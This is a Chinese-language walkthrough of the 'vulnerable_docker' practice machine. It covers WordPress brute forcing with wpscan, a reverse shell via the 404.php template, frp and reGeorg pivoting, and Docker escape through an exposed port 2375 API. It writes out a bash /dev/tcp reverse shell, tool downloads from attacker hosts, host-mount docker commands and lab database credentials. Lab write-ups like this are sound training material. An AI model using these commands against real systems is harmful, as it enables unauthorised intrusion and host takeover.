简介
今天开了一台新的靶机,docker逃逸,还是第一次见到,然后后面也会发hard难度,这是easy难度,先来看看啥情况吧
一、信息收集
1、主机发现
arp-scan -l今天开了一台新的靶机,docker逃逸,还是第一次见到,然后后面也会发hard难度,这是easy难度,先来看看啥情况吧
2、端口扫描
nmap -sS -sV 192.168.66.146 nmap -p- -Pn -sC -sV -n 192.168.66.146 whatweb -v 192.168.66.146
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
2375/tcp open docker Docker 17.06.0-ce
8000/tcp open http Apache httpd 2.4.10 ((Debian))
ok,这里三个端口,常规来说先看看8000的apache服务吧,然后扫一下目录,看看有无什么提示
一个wp的网站
3、目录扫描,指纹识别
扫出来很多目录,我们访问收集一下信息
这里指纹一下,wp的4.8.25版本,多少带点漏洞,先接着信息收集
ok啊ok,这里发现了一个文档,我们看看什么情况
估计要爆了,先试试弱口令吧,这里一个bob用户,不知道能不能用到
4、wpscan爆破
这里有个账户是bob,然后扫一下密码
wpscan --url http://192.168.66.146:8000/ -P /usr/share/wordlists/rockyou.txt -U bob -t 20
这里一个flag1找到了flag1:2aa11783d05b6a329ffc4d2a1ce037f46162253e55d53764a6a7e998
5、getshell
这里我上传文件都失败了不知道为什么,但是这我们可以使用404.php来弹shell,这样连路径都不用知道这里随机访问错误
然后开个监听就可以了,这样我们就有了shell,然后修复一下 发现这里没有python也没有wget,所以这里我是看别人的方法做的
进去查看了一下ip,这个ip应该是内网ip,我们想办法进入到内网
这里我们无法传输文件,想传输个socat的文件的,可惜这里不行,我们只能换个方法了 8000端口其实是一台docker容器,我们用蚁剑去弹个shell吧
ok了ok了,这里是我忘记进入tmp目录下了,导致文件没权限下载文件 这里就是先开一个python -m http.server 80服务,然后curl -O http://192.168.66.129:80/socat下载socat再赋权chmod +x socat,我们kali开一个监听nc -vlp 9999,然后使用socat去反连shell
这里获取稳定shell只需要输入bash -i即可,这个也是新学到的,然后上面的方法也可以
从shell提示符可以知道,目前得到的shell是在container里。
6、内网信息收集
1、内网ip探活、信息收集
我们这里要用到一个Linpeas脚本来进行内网的探测,他是Linux 系统特权提升和信息收集的自动化脚本工具
我们把这个脚本传输到跳板机中 ./linpeas.sh执行一下就能进行信息收集了
扫描的服务器版本 Linux version 3.13.0-128-generic
这里看着像扫描出来的漏洞
这里是可以探测到内网的ip的,ping -c 1 172.18.0.1-4命令测一下,发现都可以ping的通。
这里有数据库账户密码wordpress/WordPressISBest 或者我们使用脚本进行存活ip探测
2、内网端口探活
这里收集到了信息这里看到了172.18.0.3开放了8022端口 curl -s 172.18.0.4:8022
这里网上查的,但是探测出来是个ssh的,不太懂这个服务是干嘛的
这里由于是内网环境,需要进一步的渗透的话,需要使用跳板。那么这里做跳板有三种思路,一种是加路由,建立隧道,端口映射。
3、建立隧道,使用代理(这里新版frp内网穿透自行摸索)
这里使用arp,首先对frpc.toml进行修改
然后是对frps.toml进行修改 然后把将frpc和frpc.toml上传至目标机
curl -O http://192.168.66.129:8080/frp_0.62.1_linux_amd64/frpc curl -# -O http://192.168.66.129:8080/frp_0.62.1_linux_amd64/frpc.toml
上传我们的frp工具
这里遇到了一个非常困难的问题,就是frp工具版本的更新,配置文件的更换,ini文件换成了toml文件,这需要我们自己查询资料去配置,尤其是第一次使用这个工具一定会卡很久
这里我们配置的是toml配置文件,尝试一下能否使用,因为网上没有相关的使用参照了,靶机也很老,所以我们只能自己摸索
这里我们在kali上使用frp报错,查找一下原因。 这里因为一些原因我们只能先使用旧版的frp了,因为第一次用这个工具,导致新版和旧版的配置文件遇到了问题。
1、旧版frp内网穿透
ok,我们配置完这两个文件,尝试启动一下吧先
启动成功了,真的是配置文件问题,新版确实不会配置,等我私下研究一下ok啊ok,我们又一次传这个文件了。
ok了这里,我们用了重启大法,如果无法打通frp就试试重启,可能是端口或者服务被占用了 gedit /etc/proxychains4.conf 然后我们修改配置文件
ok了 通过代理使用nmap扫描 proxychains nmap -sT -sV -Pn -n -p8022 172.18.0.3
这里开放了一个网站Node.js,我们使用火狐代理去访问
访问到了
3、docker环境反弹shell
这里是一个docker环境,可以执行命令,可以反弹个shell到kali上 nc -vlp 9988 bash -i >& /dev/tcp/192.168.66.129/9988 0>&1
这里拿到了shell
7、代理访问提权(方法一)
这里run目录下有docker拉取的文件,有相关漏洞,remote API未授权访问根据这个漏洞的相关介绍,我们来尝试一下
这里有个问题,就是靶机没有docker,可能是作者删除了,我们需要自己下载并且换源 这里大概是环境出问题了,其他师傅的靶机里面有vim工具之类的,包括mysql的仓库签名过期了,这里是个死局,无法解决.所以这里第一种方法我就直接给思路了 apt update apt install docker-ce 这样可以拉docker环境
docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash
然后我们就能找到flag_3了
关键点
由于docker环境没有vim,所以我们只能使用echo方式传入我们要的镜像源,这一点如果没做过会非常卡顿的,会踩坑很久
echo 'deb http://mirrors.aliyun.com/ubuntu/ trusty main [restricted](https://cn-sec.com/archives/tag/restricted) universe multiverse ' > /etc/apt/sources.list
很吓人啊,这个作者,表白起来了还
这台靶机非常恶心,断断续续打了3天,真的学到了不少,但是非常痛苦,推荐推荐推荐!!!
8、reGeorg代理之路(方法二)
这里就不复现了,直接给代码
curl -o tunnel.php https://raw.githubusercontent.com/sensepost/reGeorg/master/tunnel.nosocket.php
curl -# -O http://192.168.27.195:8080/tunnel.php
##复制到当前目录下 cp /tmp/tunnel.php .
访问:http://192.168.27.131:8000/tunnel.php
回显:Georg says, 'All seems fine' ---正常python reGeorgSocksProxy.py -u http://192.168.27.131:8000/tunnel.php 执行完就会开启一个socks5的代理,默认开启127.0.0.1:8888
利用之前枚举出的信息中的数据库账号密码进行代理验证
proxychains mysql -u wordpress -pWordPressISBest -h 172.18.0.4验证成功
这个容器docker.sock允许与 docker 通信,意味着创建、添加、删除容器,因此有一个技巧可以通过上传docker和运行命令docker run -it -v /:/host/ <container_name> chroot /host/ bash二进制文件将主机系统挂载到 docker 容器上,而不是我们有 docker 端口,我们可以访问这些容器,这样我们就可以远程做这个
如果开启了2375端口:
docker -H tcp://192.168.253.182:2375 run --rm -it -v /:/host wordpress chroot /host bash
至此攻击结束
8、msf大法(方法三)
这里就不一一介绍了,后续会出利用ssh密钥提权的方法,今天先休息了
9总结:
这台靶机本质可以理解内网穿透的联系,这个应该是重点,个人理解的话,是这个靶机的特色,所以还是要多学习,包括还有ssh密钥的方法,后续再说吧,今天出门运动去了,Neo-reGeorg其实这个工具和frp差不多,我私下再去学吧,如果有想了解到小伙伴可以留言,想看的话可以出一期
各种方法都挂在下面了,我是利用的一个api接口漏洞,感兴趣的可以自己找一找 参考文章:https://www.freebuf.com/vuls/347867.html https://www.cnblogs.com/jason-huawen/p/16859959.html https://mp.weixin.qq.com/s?__biz=MzkzNjg3NzIwOQ==&mid=2247486466&idx=1&sn=23597160b15e8dea0f134b43cb380690 https://cn-sec.com/archives/892445.html
原文始发于微信公众号(泷羽Sec-朝阳):vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论